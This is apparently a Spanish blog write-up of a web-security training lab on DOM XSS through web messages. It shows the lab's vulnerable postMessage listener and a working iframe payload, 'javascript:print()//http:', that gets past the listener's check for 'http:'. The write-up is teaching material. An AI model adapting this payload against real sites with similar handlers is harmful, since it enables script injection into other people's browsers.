Descripción

This lab demonstrates a DOM-based redirection vulnerability that is triggered by web messaging. To solve this lab, construct an HTML page on the exploit server that exploits this vulnerability and calls the print() function.

DOM XSS using web messages writeup

Al entrar al laboratorio y examinar su código fuente con Ctrl + U o Click derecho ->Ver código fuente de la página, veremos el siguiente script:

                    <script>
                        window.addEventListener('message', function(e) {
                            var url = e.data;
                            if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
                                location.href = url;
                            }
                        }, false);
                    </script>

Este código toma el mensaje enviado y lo utiliza para redirigir a la persona a esa URL en el caso de que el mensaje tenga ‘http:’ o ‘https:’

Modificaremos ligeramente el código del laboratorio anterior (DOM XSS using web messages), para hacer que se ejecute JavaScript, pero añadiendo ‘http’

<iframe src="https://0a0c008203681bd7807717ef007600ea.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">

Nota: El ‘http:’ se pone detrás de ‘//’, dado que esto es un comentario de JavaScript. Al estar en la cadena de caracteres pasa el filtro implementado, colocando el JavaScript en la URL. Pero al estar en un comentario no interfiere con el código.

Al pulsar ‘Deliver exploit to victim’ habremos completado el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *